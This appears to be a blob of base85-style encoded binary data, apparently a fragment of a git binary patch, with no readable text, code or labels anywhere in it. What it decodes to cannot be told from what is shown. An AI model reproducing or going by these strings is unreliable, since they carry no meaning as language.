zKHd#kZX^+34ypJ#CjTEyLwogmZ@c#*I~EgQuWqoj^Nz*l_Cpp%VD7$bNr@%jQRwjN zCV^AYD}cn#1k4Jm=Tf;oSFo5PI1dViJg&!=-lzYp@Ft%xe0LU+4V(c|PFV6UkU`b1 z40oaSP-5h@uu6=Z4uC4~xgk~iVmGWuEdr|@7r5zImRvlG>O_PUFtpvtN4s`H&Nm3O zfLngt9`oL-xKg`;#_Q#8t+J+!9KG};vVdnW7bf(>pP5ScYg6ZGk;-C0FdmGldUmp-oiQE9tt2r5(p9yY!F5@}^m%N7k2tvMtv;E=1 z`na0(KTPc)jxzAnEem--37Ut@pIayNfuOq)IK;2ojo zp0FPCXnf8XGB}`m6Yra?_AjS;SSW*)3}eC%No4Ez2^N%c)FEuND&{5QS+IIIztzy% z8F;blLN2WiCh7_(#Fz5hCxg@>@P?IfpryFiuyxtd_ey*R!2V1wpKj-rbhv%R(fxhR@@s5NTJVp^7PS?Sx}Gwyqlqcz933?LyQR!|)%5kV)q84K zG+WIPIgQxJ=qgiI%}7>id^)CP8 z)3z<#w)qjxHEPnjiqB20x=p|da=isdUG8Fh#gx(G&Qxh8kilUy&a;?j8g*^dM^Y%{ zdWZhLYA9}1r_~rS`BRqMv%OHbLuY3w8G;xO@g!1KF4rJmS(0K-P>w~3VdQbWIe>o8 zpD$O^Op3 zdlw_nsvu4#V)uMU^e2h_(L>8(azIu4ZW8`zH{+1|P^k11a_{*^YX1U5YXH8BQO3w^ zI~!JY;={S_v$`I``_>W|G3pJ!CdX;1nmXE->-_@DxcwlT^m&rY9)BdxS``tVE7qAeglr&PGbd$naN|2l~BZH3-$7D^ri4zCtUEu|6JmBE-q)oS`zr`2fxu5c4m`=K^X z&KpHsO2Mu}ve;?bHI3KR?(6HhzUT%N#u2dI$hWHMq-AuxEG^DvxUU9Qf775`Zz97% z%H**#cLWTVxc_qq66wdhdnBP$YA4?G@g(th*!EY>zTj26#IgQ@LM-TEjdnY2yw^I+ zN{id0>ZGeTqu1#Li(kE zusY#6cAwS7eA4crRH?^}0^!hCe-!m^jD79E?VkZ)EgI6j(fDLJAqF96Mo3-V=v=h8 zicj|!Q&RIzsmwCDjL2LiEK?!niw{(!4TO=0uy45^`QAEg zpJpGOe}Ykh{phEG#*Sbbmz9zwa&@(+R;{OWFR!$eo@0V@(xce*73{g*0sX2F{r_2? z^2GiJ@m;?o^;)uKHT>HpL8gVxZlos-gves@h~V-r0}b%r=M9dw$7zH8uwS@BffV*( zm;!a1;YU1qKBp?*5-?v_TZyjK@CX`*Q(RvbhfrFWy3CEZEJCGX?6qIeNyNZ|R@&qI z?UYJLj}%=mdVWn`vK1;C<3$48(RM#@xG2jAd$dD!9^MC_hKOS$}Y1M*o6`3pn4i|koBwq z)^76VU%6)njZBr{u^(pAKH1+hnJ05``_( zY|4@Qs3(!R5QZr91 zh9|13l*=qkUq?!i=O5P!*ylt~ zqcb^Dc%Nr0rMO$Kg~ViGN1CQ&ye-;(Y~yrs5OA^e!zo|gHqy!)w(h319S)KBkSoLA zHNL0b*B&t5zav^fBD+rn%0Ynnc%FXeF4tpiZ$ADS|K*`Cz8zw4?Ge3!XLR+nC@0DF z^x|KO^pp!q2%z!d3MY2AXW2FE%pp1%%5|&g5Aw-}3%K5V%8Xc4tr~)?9}-i8ist?~ zfvvRuBoKW5D{L`d;;MsLvK8(1<>hRp5=m{(iX29dLjRm>e+)D$7P~?J+qnPdL^3x5 z)GEGzM|I~*2;900wBX|@TI=qDXG_8zbI!?M*_4J|Cd-ZXbb=f0xLF(e!LwUq>M+%< zXTEc>lG)5N)nY})#Q{Kay)MK@x{*(Q#xMUH8f-7K{he%Q1yxRcdsuK`^0#kAwx~c! z%tvg?2v4R!U;lxx5hKTwe&^ux8$vKDx@7g)Cd6z*PnoM1oPtO+-31_P2zE}P?o zfXXv~+(q^Y5Fk9PaG6b7uTG4zR=j3Rkks_GsJ1me`WdzBgY$U3x_>+Fj|!1@CZmqU zG!#qyZ`V8jeUMucL%#%*f5A4PhEmVd<@xz}El#SCxs!s^l93QUb#px*3Ai^JaRbqq)F z{vn}bg45-r1eZS14<;=QMuDdU2T6y8KNbYAW%Qezb@R3(`lp+?A-ths@U&Rr?{ssF z>64ENW1A?vvZK^KlLU3;c@a3@HUyz}k7PwJK$NeshH7-0bolwer8Gwu!f(AGt_0u#ggkGNt?8UL%J8Sg%Li2~Tg~^icZ5EUpX0eGzZ9 znkKq=s)=W9TseQ+3b>c|Ke1>Nxuy|#cFJ+)_O;Dxs*bNkpH+z$}N)PDvG zWJ7%0q$Nq?)_ktdSk=8I_4;0qyF$a|=?5R*!JEZ~H?N=Abt>9-8ck<&I4+&AHrkk& zzF=gYpm~aj-*PE4HX_dle&hVhrHmoTsrLu4iey@Jj|h{Z`##^gvi{abn8;>N4H39% zjt4C&YD+BT48>m$>BJm;Y#-VC`TVQRy#MmSU1NYx{;x=|!5^SSJ_~&>bV>nhH=RkxU<`Tb&e9*EX6 zdq0(t;6&W}t?VM0(L$#!=U3!nHd2+V(5t=Lee4C`1eB2^1t|19#r|RrU{3j1r0caf zQrQ5Ka-0~?uB!>ayu8MH{!q}o zBxV7HvqwITApZP3~Q`bArhzeAoT!uWhh-F8uh1N4NW%h zBbKgxf0PPYW`3lEuEQ&PdTO%%#5Yd1{0_OW?!#Ve>8hP6Be-O*ywH&2-h>Y@Wb{5Y z-O%6*>8ms(yhw#a;ru#?LlEJKJv93AQG^p7A9(lOTO;0^z~C<7qVVPIGmf5iwmSZM z2LZ#um#z6H*S4(pR(zJGSjnLjjC{WFwP5!v9Ly>rXZgV*GpS>e;Q%Dtdtp3C+#)vL z`^j|tp(bFr)r z=R!2J9|b^;-z~gU&Qze`5iCCS?rykG6+`!$L4)WEg$eJW)WX&ew3-5A2Yo-oe2r2% zcgo0aT>KP!W;3LdfPye$7wr{Tq>z5B=Lfg>H-7|=V6CQMD zR#4o_+Uc=2S?y}f^=2?kGNby+KJ#&{oq<{&SH6;Ds{eu-=0;o3-EZyp1@3{8h|4%HxEH*YtUyE%anjsx062a7nie)|Ulhl)7effk%p)Cu`v>XEK%l zGk-|e(Eh8yg_8iiY6V7vaF(ZfyIa0ZY7r})W7o?Ly;qKPl9li1Ug^!q5GH15m=?_2 zR<1;`Bdqctl9rV_?W*4=8>?otagwK*pH6WMG}r#Hen31>ayetxSc!d`dFo+CjX+6igj`%$28JF|7k%bWIsL zUJ7a_yL2d50c-r#mL0QKV@ng$S3l_1IiKe<3NQ-6op6h81VQ_~7xC=^P_|K$+mJi$ z-&k6xHG)50s3eFcc@x?k8o!vG$b17p$Rv@k)4}r-dxxK^_vt>1Zp7-1L=>*IMd_JFiB|Cok@kl;<#j zLyOPzL_53~)z%NCXfK2@f=|*tK>R}doFr|i3nyReAC}1Rzbu;G5yAvryk`oEQvp9@ zm35H0Sa?5|hS1;WgIf_SNlUyP?MEd|Iw*1x@t<8fkZQc zjoT_hU$(J+EC@3!y|`;GRH&S6j`PWSy*oZ8LD2ji5$gMrAZ-0zOC4cpPGBi#xpS*w zXEFr@-&kHW_3J9R{HqP*N!Q@E*xZ;NvnAz~CE9UW(pgS;u)js>S;izv-Fj@B;G1Gh z%S8T;L87TbsYRrzGn3l4F{?BhL#M|RyG>uaER}d8pRttl2Tz|RlIlvWwv>bM3<%1ebe$FdCWF4Inf9F}=k%6T0m?n8+;szAvlXB74dSOAo%o za*qxhMFLIzBCw4d9Xqw~@!4C0L2u&VRECRLY@dexc37n zPORyhaRr7jb7^5sQWj~lGKHeSSI#3QIN_&PCSxtLju>o(-ctB2S>pFMLNsIO#={BZ zL29>g(%k%5{^*y4uoWB%YGzsa@Cbfg=(pX(72T!Tj5 zg$zf49!V#5y4k(ff(yj5Bob2C{5z+=YDhbaBqU!o2q1YE%QKZNuvvuN5{_D+gf&mI z^vfMZ3g~W;WT@}5t`71Y41Dy^Uojk&=D}w;yPkUA<`N;!n*x8da2rbnMn$5=UV=su zo!xK9ca*TFRf%!+uIoHinHN1^;Avd?CHTlbP@9Vwg zi&76VWpYKUvO{rw`_F5F<|^I#tS2v)`qQJuO6*N{_Wdk2=p?z)-lzQis)Fo;cD+Z# z@Pa{tyt_|HS74XVMx$Gr{EPGZS8!-$5-hD4b`Ia8XSwF7k$~O+`zMGlWkh**;I$?E zkaT+(?8MgY0N!5s8F5y$_UTEG5)Ip=&kmGy!;cn2>I`l!Efws>ZzFEYvnJm;J*qpt z{MJ$wR(zIm)|4C2Kl)BlY}V z1LJ77xVf`&47ka96 z-7ODpuj~0i)l9Bu){K3BJ{{Bg^FnlYOkQzM;~++T z6c{ef?h91_G<@AC-coVhdT!go%GE-fZJtEb$$|XN=1N@V5p{4suA);uoA0zS zuw=d1k1!h5lHkYc0N#|d4nsr|cI~XxSm5vUPPg;Epl8b;PI^QM$KLa~G520frF5rZ z??~k9Dn)}M{sdo?6Y-rYthc!q-)|6{P*iwalv_Op+ANzx-018Dw0Lq*{uW5Ndfczy zdx4cfb~LrXMe1q4(V5vv*l3SITmbr}AJpP^;1&>=Rrcbg9`8N(`jnO+TM)0n)g_*}tnP zbrXlZ`$75z4ojCAQ!RL$eouMY$sJuB$~KObLpA4}!6$gLboaV(;RzGQAr$5vRQv-+ z((VZi&u?4k^X}g=XP4qggZizgKUyTy4%7_$Hq+HK^m(9*vYt3ZKERh^J6)Q+8WHgg z3e&xldLa=0ZlB;pmpTT;OR0yMT8m6VdU{|lp~rEuiCxCQ$;Inyik>OkYmFr0kl0N1 z?L4rAa4VPbN-qT-B6=X9J^ZdEP2M;*D{D*7Ijh!T04qX6_iiRVv}&0SK=y}b5{8zX z-I9#t8hv~7lbx1_{iofcO?4X(*{5wRLVQMr@h4?+Z2_6Uya$wM&aY<8_fSM&B>yYp zN8vH&VH5X8ltv_XyiZiPQ!J>u`I=s>;&(6-_H;gw=4De;j8;Ql(i(BGNsz6vTEu08 zwv9t>*3{e1ALy(JaJdOBofBX?C`vQG5bQ;4JKDYAB!K9uf3z-I$Rq)|{YER;A7~Ns z^>*LR7qy~32g9Q}aOA`dSf2xNB?LO-0Nk~OQtT+pgzN0;3cH?p*Kgl2_G$sPeB>mM zg3{JmE!C)}*5TbEao*|?l-QWGgBYj-ruiE;MZc{@Z^Ww9LZc#Vzar44EI58iQg042?S?QJF|WO!a|ZVgbTLjal?0?VaX_8NBbV}^ z&Q`C-4??+fZPkNqYVK?O&K)ForR4YX$j&{mMVgm22Jy%3Un?}`Hq@F-y!4_G`_t7s zJd)dj=w3@+d;uOY!t&3h8iR9uJ|Kpi#5(+ofO`dX>`@%T5$N;!Gy`OGm>+@UWKxlQ z`gih{&=$RtcLMfXU!I;f-(pdOU+f_vArYb5?0@B7Vq$jnqokg}96U69~&`96Sz;NKI)8zu6{4w&htgb4QXRrl22 z+AXN3V)@~z*2a+ZS3&SXKV7OBvM8ou*c=!~gT5yzQC|ga24+a;)uzo{*OKdQZ;a%#JV&A2U`RTjeKKyJ<+ZQ>#FQ8KC#B1>b8}K? zOnS+aS83YX?y-fhjqgT`iPjM2izluo9TkBs8!8(()1 z4f3j^CmV~vO&V-zqE5D(Q+SiCVnSJ!x*}EJl!H-nS&U6&wN+-dr>BwVB} zx$Vy?1npvPo8yfFdhbif5bJzS`65d)<)YhgKVEZ++?a0OLd>Fz%#e}M=ZT>oiYI67 zJv6|!ILmyoQ$fCYzC5!Gbo)@gv&wrv2J2P1Ert-TS*{BEw+_rM)@RI8S&X5Sa1oOSuS;tNB( zHAgQj+AH~dmrxn+2=Lp#r{8uoenSVGba#YP5W*?97_-tTH)N0&W;>sdzwpRb^KMK5 zaITlHgLTJG&XFr~uSGTL`Wg=8BT0Vs1crXq)y+{BygPp$p~=Y8IfUV2$;uDRwMWBl$rAr)JvFE7L|885qLI|$Ru$F@B%E$YE5P$)iL zyXV~=TzRCuz(Wu+WP50vn!as>W$SzHhtEWd`V5w1xl2`e;*P2T^K>kFUm6E{!{vvj z0@H5KjrSf>ywE(;5sZcAx~kha;`no|I9*@*h~{3PoV+{s5t-wz`qe$x)o*%hZ#XAv zi2s8X*X|Kxk$Mi3Oze76!h<1iPr+$p(gnOyG=fE(-V%er%t`G=1u8UxzJD3ZMuN$g z_xyMRI{hKe*`QHHKxQtu@I`;>ysae1WB-Ty^glJSVaTVds;w$9Bi&}H;@x5_RxGP_ zH`(BJD8?eO^C#NRcAM(_4A&SNzQZk4Zq3V zIdpfIn;Js_9`(Val~HslJt>X090P{H31#bED>JR&&ec^^RUw%T1^r##=JB4mHv8}% z-B$k6-CG87n*N>n(8qEFn&Kxwjb!}`nM|{8zNKNG?r*@3(>9Tz#N`6N+;NS;@|>f! z=c>riDUy5aZe;m`c$>+FgFe|+2_>gzrBY5}QQY-c`$*b*kJDO$IFi(oZIOHXB8>?y z+&p<+@~U(Dn}Vu1Yl;rvpmwhsg^7%&?*RVaf2q??rd~UZh{ER}!0ogF7Vjmt^?U?i z{nI^8{GO!F%FW~-I*;f)cpa94eeOlY&&sD}0~7T9{9%EOfKWxiavQAI(=3}N=MGvs^m! zf|12^Tjqo~v~uTrDtbiPcyDJ#03|Bl5YpO1SVSw=cah*eA8ClpO~_BXr(GARcm$V( z_qfsC+4CwI1dSJ4QU{k4Gs1Rr+M%d70mdwi1rQpga2x`EsRlE>G@a-kqJtjD4n~da+7L!L7sp;^J;(Rf2#uGp0Fbx1wvor1*Dmx{<4(IBclrKK z9kM(bJnnwEWe02&u4jJn!gK;K1J87=?Ggg+z+wRcpr?4 zXv`e}CD_imhr{`*ZLEbkuBq1=R%#C6Na%|LjbAxFpU}*eg9biX{(jKnCR*(H7-G2m z&+U$KZNN@jMsHNAXKRCW!th4eG@aXy?N;~~!#@~)$wudJqdF@h(+kqd^u;XZ%Z5F< z<#nZOCR)9Ph}bsC!8=oOJcq&dhUYFzvK<}Zcl`Y&B#NfrQ^-g&?xF1J*s(oyB!yk6 z3S!lqNz%}Qay|EZ+4?eHVsQpo5Xss;cPkj9n>}GSg&9sQhF2sLvn*j4{!9)t4_JNJ zGUQB8IsU={U0Z%;ON|xz?E-xnUGJ7|h`1j`%(1&<#`3n6_|tt()?-AUF4UOZMB7ci zeAr%>_eLifx|laASw8$33y!e*^gfEA2wq;<`mlCa{kP9-FnNuZ_3^wD<#P{4ydN&l zx%a~`LupQ!e2R;3wi6%nRf3|hxCh64wMuqdy{!gILT%x;bI>AsRuJZytd@ZVQ+lO# zO{8PzqvBG%&5UC>EosV-)nxARn4ddD=7afX%llcHtmh*J3Q#iCZ`PHB^^c$Z(+$y? z-)%o`-2PF!$N^B8`r*WQkw4q+&276-ou}|}HOjtLRQR$5=3d2}h;ZwMdv+D3_$r)m zPxW=7-P@Hf8<@*C6qZd~j(H8lN|9GRmVdjD10(#gqzB^syJWR)G^7cja@L!XNY=> zx#`{WIzlI6VB)I;%xD_XL{N+VSuM3Cm?Rl1dfVs*AS(Cy1X7Sj5IyjvoBk+~{xr8p zJjkjMkcR~46@KM3Xb7uDH^}JvJvA67iuoBJXBl*aAv z8G<2rV*CVc8$MfDw&^YW1xbG7;(5$4CaU_TEatCp$+__7IZQLAt5_h(a)Mf$#lKE> zPVSNw-lls=fqrk%gJWA5sM2~I2=Us?^@AVVoI1A~9u^+nMG1Ta8`sl+Nmo|8(*eYS z^zFX^L5=1}JKd`$$C(j2Om?fQl|3=u(N;g3q1ooCM*BsH1 z2zenV&|`r^-*zGaJZ1gx_A7&(+xLn{q?3}Ln;$NufqzyIhTzaGuj7hWQ_in9TR>#- zY1lU(XuH&`nkXPELExH`m>)?#bw07emfr8`ak=H3 zR5#hn5=;T7xht3~znYWWyetsDZ5(@EDyWG1F%cxOFek~x+YO~0kJctT2%*^Aj4)f*c4 z%X4HoYkC4jabif+mxmu-nUJD5!WKLMyKmtSafBC7NSlPr^dR%0JG3{%Bf^+L@jVoY zV)jez<0@Pm0%oHd6UeSbrrk%c5G6Su%RxapAE52-AK4b;K9;fTh`(A0TW{n}a9+XF znmUMjnn`v)-nH5ixo?TpoXC_`Gvb)dERG|WWGDNE%=&c1>?yJu>-t#o%W>`K?yBGX%2lUG)pWa(#?)?Ehnb^YfYW2)SP^eu%*)yG(avOoc3*w!$ zk#urb=e7&nbuE1!D=Nqf2fq^Dv&@ZPpz|6tNBE2|Kj>jK&j8y8OtpRyEq0kNe`XGbN)Olg?w_Dj_Y| zeLt+-+#wV9%D=RzHKpt2iKL6+I~Cxr6HEVS$$9Ud_9I0%`epV_Ww^r61oF>I)(tJh zm8UWid;&59bj$MYpuqgsn~OgJjVK;92MRZUP@d{JU}UvAx)+;l_eOnqXZ-DzN`B7w z4WOZ~$mh~9j-fC#;5~DG!hKMf7>5}jo#g|944&=uzcq?)O6S49TPmjq%{E6|dqOw5 z+gtY1U6Wo59`>8v50Fd*zuQVX9>ArjKY|3rWFVqnY|MmR3b0XL{m5v2&el6fUPhb_ zA;^-iLi5c&H~Lb0EQ}$X#H3l6sK~WHa(^d0=13bb=X-Y|E^{fuZ&1CqcdqNMmyY3YdPW(Ouo4thkwV!uB2d@ALnire?@cBX%7bekI z{w-wSuV~sIzWNEJvBuJ@tKzi1UAQtBf^6`$2Z4*nVd;a<<8I2S%gA8$N#Thy!oLKs z{H6YG^|RN#I{}GuAW*Cilx7`CgGjiEloT?>VYi=3IZV4ks@WT@@+l`N@BFJBn##Pj z-YhlSF!POE*d)rIid#&g%Q)la2%>C`Z$^z1xC1oywJ=ipLkTSB+`m;2LRf0t9j4!Q z4uJ?148Pp>AJBTLgC1;>$C!hP;E_8`bITc$LAdZ?`R;ii8yX4A8VKH|sELYWgkjjm zf}$(frABj|nZt|`P%a0!vBkJ(0!R#wDSUUz!m$%`Byl~i!=hQ_zYT;AXtWNuK6gDcGE3cpV_r`Kd2?5@yZY9 z5Z#_W;tz3`MOESKo%}mbcxJy#AaDjO}bfbmgygD;0ysS zgR^^Aj3(HVC6+xWAC1Lj^8|dM70Ug`0Diwm38VP=ygg@+AKqZ&8~OhH^Ut-dM_{H3 ziQ-Q!2r3(e*iMR$IT;lQO&{CbB0-DYbte zocGfxUa4tKAe_7trn1!TU8jC_0*p@@cwIjJtyVEqz5hi_^u@gLp!7quKM)wy7aAJQ z&Nwp<&&u(Kq$!FvG^wxp9<}7vdz=aa#F>U;6QE7>A#r$>yBNkcYr7i4;{GwWyvHc% z)Pb^XNwYy$1K2<+$>eyzv*q*6W^O)Y?)(OzZ61k@?3+ie51TU+Z$3|m;)xFK&D@;| zK@zj4I0x^xsxEk?Zl;{P%XR5nLQiCOTgH@!34{5aglgwa;9tAe-p!^Mp%OLQ%+UW$ zlf9#zu`gG)ErhAU%0GOV64U%0eCoNvc#nn^ zY(xSTOP`=fZ^33cGyt)E#H$Ke5~LRBYk)5=i-seZ&c>S>eB$zig~aujy-$XscSsO zsy{qI_EelQ(TnK{2`B%&{6RU&VRq-vF6=M&T`CD}3+WSAkGhKY z=RsO!EF^sT};|j_7DU6PIf3BMA&2bb@q3 zEi<>lrrd{y<@s`*&IhW)AUa+*CQIW}>Bgd#fU~-F`uYVA_Aa7lA=qoYjZBsN?t_tj(A`SPj3uN)7v$_Vrnl1=vX?&UOc zv=kfk`xX5U9-G%KSNi|{q8CR zDoMkMLKJEpvez?PZ#j-ty=Rj+vOGU^jXuvrEj8LnKHsn87!oZ8O(YVjIy;}oo`ys} zqwc@-Jj5L=1!$p~?Dq8B&&0fOjIEUlemrPLbTORwz4H0_R5KYM*b^j3*J zrO`5)WGVoO?4wgOkvQreyYaL!d0y=$;7LEITs|vmJMZc%C!aYVpgr>?Z|1gKQ(W;V z5ew@D%O7l^vNeq6QT#Ku4&+qjOR}6Ju^c|$UE=ubHZtYDc`Vdd_15qX+ahT7hV zNyPOLpY+lmx1Dv&VwlDL(;B-lTYdrpPUnaFi+Q9<#?!^6M+$C3c}OF1N|eT52TJ$3 zoUP5eBhv&sCf-l?_1VdEV2Z$E-dr(p}007b|qKjwFL{k z;Izuok)MFu&O0aYM@-Oawk}Q>+=22 zeDU!PTYlIOtMb>0G+?$~VgwN1wpzQUp(|akJBBfCzfL6^t7jv7(h0 zj7sfT>mj(FfxD{pe1Qa-3_LF%uJE0EBz}kx3ny3wEHtyvM;NVlO93BJ*PR-zr!tu* zMF;L{@F1JjU(}W3*)5&fFvy&r8}9Z zB)ZvOm$3c*qM!Tc_9M%H(xepqrQ7*hjPfd<;qiPG#pYlmV4=Hyp}LBp^jPx^9!qA` z`z4peboPNmX$~lcPKjV*3Y{qTD%FO{jf?khRR5Fpxfs5JzOZlk9&G~MLjajqf<*Bx zyjUqGn?*whb5v38kNW3-cUK#se=QMf@|u<+#P~?qHQB}_LU8A^qy~>Vw|{aENc^)g z-Py-Mn*-vl3aX*j9aT<7IhGz?GJ~2vZj5tHg(YqCcvKxiz?<=aL-92VgCw5DtBy2W zVKan5e3Azm;(|)EqR>7dhHDdYYXfoJG|~(rFQgp2F|P*TG>m*h7jShFD0}Xt3H4)X zl{Ige?G;XB^J7^TK2ECAr^T@_a2>eds(wHlxWx3XF;`D0!>t>q0K6I9mRAA0;h<=E zyq!2vb^(K1_Mvwapt&KBK1;giVGlG5aHl{`qV%yo&TzjR*oVJn>6)SACzfP8|3K#p z8#?hR>a6Q@3##p>2CYKZ-hCUsmM4!(0R3ct^iX^@w|guG~w;KF5#vAc?41tP^J*>y=>PT^ZLa7$MD<0yEha@ zE>vjBM3CErf^V1K9(ow4wD&xnvahMr#52PH2p(R|RKYsX^QW)-;U$vfrTlWAR+3Ya z;nbS=vArJ&K{)~6Hx^SiH!t$mp=m7x`#qtDY6Ox?QBB_TQ<4_iJJk!qwJI?^c^{+Q zd%c8ffi*uK_rJ=EpqpQw!t;mv#N2yXKhY};JJN@H=3N`s*mpZ4<$4eh9{>2cV~E^L z_TBsuDqYsAx5n<^VFE;u`H$x2}t|Enpf35CeSeSzG_w7vnZ1 z{h~&XKr>x^LOY>L_wUFixntC?J~4*J^Ivh>0mDaic0deenwdEC4;=TOiZPQf$-8-M zTKl^+b7W6tp9`FNd#{*$AaNli}SMw^_S1uj45y~SFsd#ywhZlmyL_IRLGg&^1xoce=-oBQV+ zUB)2p&@MUmrTW{&veh!WU5>}e#`T8)XeyLoIq#fsO*V8{!jjdH1t7l`LIPixjT^DY z9<@iMeW+oLGGZrZ$8Zgc-q9{~p{snoEXCB7pMN<`CvS6G)^8L*I>p=Z(3wxS9m74i zs#{6Pzkfa7Jdd3zt|&{kf3a14DMb+#h1VI{VRKy!e9MIC@z{;<^;9s->xp^nCTojE z^H=elGHLxte1T&zZLu64^ORGUBEb*eeia-V>>jS!Hpn?Bv8)%_r+b!fx=IYzsJGSR zTP>6s^d0pzVCT#vB9TP#J;xTe*lQ0(w;s4jt0`8^>>-)QR~V}3yVqFgL1LSBNE-<1 z5ErHl-x8(p7bd@${=)U9L*a6`yFsY|0Q%KuuRr%^hP7d57k?p{$GAZhvWYL=DCWmJiq<*Zb&N`KeenTn5n zyy_Thc-!kV`%j!u);#SK+38Q3C(Tgr*y}&otZP`lM0y zTv*}6`>Gkyx8t8dt=FrlTC?7ACZroLXPo<9@=+O5i> z8BwL@;=BdOwOPH{C6qYkEfr%HASXan!@X)9!k`8}TJL{X)kW#Wb#qkKmPN>5Ne2~# znw&cLyHt9zmQ6@-3@>Euyro}2fg_v>_)eUVvTsBvnWEL=$o8u_m7^A7J5(NvUgKo1 zZ9sJ`k(nXz5&50YU^H?%XLQo&raQKYO_;R3DU(&Gmm?z-9DLnt=(6xB*!{$yJ~n}D z88LwXx&e>9NOQkIL1}_QtpfGD`bG;f+_$VJ%YcJgtkOCLgMTGf4F)bmZd2HCm|TW^ zS&jzzgUM_BZ|cUhVW0YrmeDw3Q^e+=W6+K^1eW?FPWY2sE&N^#c1`_*w5E$KS+V2? z&fvrXzS@V*cGZZd&4FOA>A3eR+WB>gVr*4({i&<`9c%Vtw+o(1-+2G1$6DQpWI49) z`UpP$T$2Tp?C^ZGKp`M-S>M|iX{FXVE$l?nL8lSfrUQ)>6O`D#|A*tQOpi60VVkx< zkFNUfj(5OYm8(wmDjnckfB#^+$Tv3ds%DO8|GP4iO3=zE88@J@9k>%9E33?xVEbD^ zRfkBXCP3J#%v)=!I#xr5j|a>DVb&i_cXq8EEPfV38OPDH>)Zj2N}aUZ#R@E-uAPF? zq!EjoBOB}(f9^RTc`xq+V6B3=S$dJdf)f1Foe(hoSWQK#{uqXrad?Yn+$ohdn)7$H zuy^BRX`!IQi>Qa7b3$0Pt$l=Fs`z%n<%FRzh3h1bh(N1kxfwhqt?E$@Hje$)wvplF zbc$+N_njCtw|6)(aiGC{)#tw6vnr@i7fhgiIm%w|Y6q!O2?g`iSuyaO=)+`pf1pz8 zwII+Ee4)fP6n>jYs}o5f$uHouI(WaEB=>hhQQ;zW{F+bY)8!o3;D~NxT8}9*D}pOH zN(3Q@DmW`P!UzP7Svp^hjTL@EemYxz|Kax8Ccsj+!BO^&6EUTokjF_bMez$ER>vtxhO%T(YZoV z-^O6$5v$7xBXSF@YCYcd+0k(I0Ai*QsOa*&=T9BHvR8&>Ul}t zdVF|^q1Mblxiw|-^siBfgbTM@TUpFLq>e;VdJ#9O+^4)B*di$~I59F$ONjDUtjz1~ zZF~reKIlc}GwW{%%>EuPPzF?ov$_CtmWd#Z9QZO>YLLWk7e zRzEbnF3oYI+dEJhWSq>?_DTE|cssYi$sPRDQG>R0f}w=2IBMX&>4D7tUwF&`WKiqB+}Ck#Zp5`kW|9FRr-Vf_)M6P6uzI4Wy|N7H(; zm$63vjs{{HQJi2$%mhZU;X|IYhcHv#W||dzN%-f)g^V zn>l?6_$BPHgN8EA0rI@lQ<=De`S!J~3UFGiwXM>>e!?HIhsa+Ww7Ow$uYbGd*(Inq zabzSn=CpaoqUFy^->+_&6sV1YQjVq2!Va&IVE!H;zGU`A<7sHS3toj2`$60Z%O+Fy z#r|*6v+c~uMekQ^4+UP`uNQ!m;qK)9wM^z(@#5%v zE;B8;3C<(p2}+K2i>$^hVAm9aS8+Sj+xwK6RvNqnJX(x1adCXipcAl(*(fQq-7xuS zk_~smwGC-vsvP?r?WY-JZi6JE8BobG((0EKqf0*9seGWuxvcA-e;R-VnI%}C{M9so zRfa}TWpPhh+h(uAYG_~daS728_dNnt2wvcq;bOw%)o?PqMW4tD>o{y>ubU5_zklzr zJ+b-mu|Ap=kDX>iSvZCZF)XzF-<1#l^X>D(di9n^hG~Kedp3=4$JpO-Phlv5B7fNR zL$>QKskbLNDm5AvJyzDt$zTw+Ok!V!nN|e1rGRo6r^6Lr$M{y=~ps@*t!5>rZB% z%t;+B;VwmfyO1c%G<8>+3_n_cT;9}j(Q8x7?Qa(tNSy5bTzF&T9FZP6`jL%`n}w$e z`oQ&e6!_$6e`nj`)V8pF@9HPUySYO^mb5N&W6NX~mE7<%Qt^muuIv`ah+F8v>xC+L z$JvWV^-wR0cShZ9Yl!wc<;wytVGQmk-r^E}u^6_t2a3P-Hn_ISmFTA$zU*ZH1kz!( zHc7Ke_sc(**~L1`8K9)a_0>qwWtvAj|mwU3XkFLlBfuef4}xj zVmp=tK?iSAPO2LUY`P}eB>}$M^;bs@(MHD@i>FeFd$AhQ+@H_`f1fp~# zV;D6Bw2#ze&K**RMIeW7GDHH)@1{96TDeL^ke(R2F0Xfq1ts8=oFMh&*0?U*n{PaL z?xk+F%k!d|mB=EAr?tm3P^-d*FSP)XD5LLPR14u(xC}#^(Ya5%hLbi3$PRYzS>NQt zqo#oqI?pM`KMV7gjk!kOnX&3(P8|;qYR>4&RjQD_wVU;MI|nXHLQ5WU!=J+)jIRuv zCiT5DlgDcSxWl;qfZHs??(R>{3Ds6zrh(VDO1J-O_W2KQ=3o8@qzd1y^p6E7Ze^cB zy>)z3j4MV!A?W9bl$t1ip|+&`t0@is@>o(gWfcPSLe;)p?!UTN0nJ~lF9K3)M|?2y z=Kk>jc_^Q!$kt;yv!phAEnaA3=@hWr=7$lQ7$E{CAb7w8lpqw!$UH#D&}LkYf4q|)!f+}q<`Z27Pg_`l8l_m}}c1e8qy7D(_!a!7zm>X3tl<18sVC&7<{Cj65-mO2- z%r9rv$4XO&ujrUIn4p6{wG_^Pqs9-Arn?u;89q}l>ff2lvv!_5HF45Pnl$}pkQIA* z`C{tTM3;#^xH!(^LS{vCr*3bVY7}}@D%IR(Ufadz%i(2WpWcg$80lLP1FU>s7Ps`& z{}#jZ|BmR&#Q>upFIc88+5O45C6M<>l;2G#b=R956*XB#dDpf%A1;tdsd+RI9#xyV zs$rB%AXXHO@T_bKPjVprA;2Ksdbf%+8g$u{7*42Q_J34A$$i9zi(T;vn?|P9cp;n~ zKNl#6CO;wh2#2bqeWzexztPr2ZfE&!ks+4<5jxOSfbv!eN{M79jlw9Ioi<@P;2avX zu*qX3H&9{b!V9HBfWytMv3)yc8mMKCUL^_({BcY%I#9GdhNghF;>i-lb9;UQ|NSFs zH?T(`ri<(~$Qo++oW&~MKn$K$t_Nn{T)VLKbvLYvM5xUQ7|fu7S3XUvd(3i0_3+@@ zGT`94pfOD3zT#dEIvEJ{qTz>^HsXTf4r0C2s%?qC<3`{<1ZM|sn!is@yFJ-UCx@B@ zrmRAGqw5PDfZNi$=V0Hm3)*0yx%cL^kK!5Ps_VUXsnW4dy%c-X+aY1CaFvk-zz~_Kc&-m9iRhzTOV2o+h3KJz8hOS`M`4d;DnGRW%zdiKcpx({odRw{0}Wkg0CsZ1HX-8ZUrljOssGq z%6tej>hX+H-?X68u}c0O|4Ao2t#%Ta7s%wW)QNjrv-^)g#xDE1<~Jj`l)yj!m`k(f zUl$We?w2ElfAw{co-tUA7!2{@Wrm@7fquHlUW1K)>sBFWrhVsF_O#Q$iUXyn>n 